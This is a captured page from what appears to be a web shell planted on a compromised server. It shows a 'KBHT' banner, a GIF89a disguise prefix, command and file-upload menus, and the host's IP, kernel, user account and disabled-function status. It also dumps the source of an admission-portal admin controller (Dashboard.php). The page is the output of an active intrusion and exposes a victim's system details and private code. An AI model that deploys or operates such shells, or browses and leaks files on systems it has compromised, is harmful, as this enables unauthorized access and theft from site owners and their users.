GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.129.247.250
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/cgi-bin/../../admission/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/cgi-bin/../../admission/application/controllers/admin/Dashboard.php
<?php

/**
 * Description of Dashboard
 *
 * @author Softpro India Pvt. Ltd
 */
class Dashboard extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("admin/SessionManagement");
        $this->load->model("admin/DashboardManagement");
        $this->load->model("admin/CourseManagement");
    }

    public function index() {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["sessions"] = $this->SessionManagement->getSessions('T', 'F', 'ASC')->result();
            $viewData["selectedSessionId"] = 0;
            $current_session_id = $this->SessionManagement->getCurrentSessionDetails()->result()[0]->session_id;
            $viewData["courses"] = sizeof($this->CourseManagement->getCoursesBySessionAndFormFee('', '', $current_session_id)->result());
            $viewData["incompleteApplications"] = $this->DashboardManagement->getTotalIncompleteApplications($current_session_id)->result()[0]->incomplete_applications;
            $viewData["completeApplications"] = $this->DashboardManagement->getTotalCompleteApplications($current_session_id)->result()[0]->complete_applications;
            $viewData["enquiries"] = $this->DashboardManagement->getEnquiriesUsingSession($current_session_id)->result()[0]->enquiries;
            $viewData["courseWiseApplication"] = $this->DashboardManagement->getCourseWiseApplications($current_session_id);
            $viewData["applicationByStatus"] = $this->DashboardManagement->getApplicationsByStatus($current_session_id);
            $viewData["courseWiseEnquiries"] = $this->DashboardManagement->getCourseWiseEnquiries($current_session_id);

            $this->load->view("admin/dashboard", $viewData);
        } else {
            redirect("admin");
        }
    }

    public function differentSession() {
        if ($this->sessionvalidator->validateSession()) {
            $selectedSession = $this->input->post('session');
            $viewData["sessions"] = $this->SessionManagement->getSessions('T', 'F', 'ASC')->result();
            $viewData["selectedSessionId"] = $selectedSession;
            $viewData["courses"] = sizeof($this->CourseManagement->getCoursesBySessionAndFormFee('', '', $selectedSession)->result());
            $viewData["incompleteApplications"] = $this->DashboardManagement->getTotalIncompleteApplications($selectedSession)->result()[0]->incomplete_applications;
            $viewData["completeApplications"] = $this->DashboardManagement->getTotalCompleteApplications($selectedSession)->result()[0]->complete_applications;
            $viewData["enquiries"] = $this->DashboardManagement->getEnquiriesUsingSession($selectedSession)->result()[0]->enquiries;
            $viewData["courseWiseApplication"] = $this->DashboardManagement->getCourseWiseApplications($selectedSession);
            $viewData["applicationByStatus"] = $this->DashboardManagement->getApplicationsByStatus($selectedSession);
            $viewData["courseWiseEnquiries"] = $this->DashboardManagement->getCourseWiseEnquiries($selectedSession);
            $this->load->view("admin/dashboard", $viewData);
        } else {
            redirect("admin");
        }
    }

}

KBHT - 2023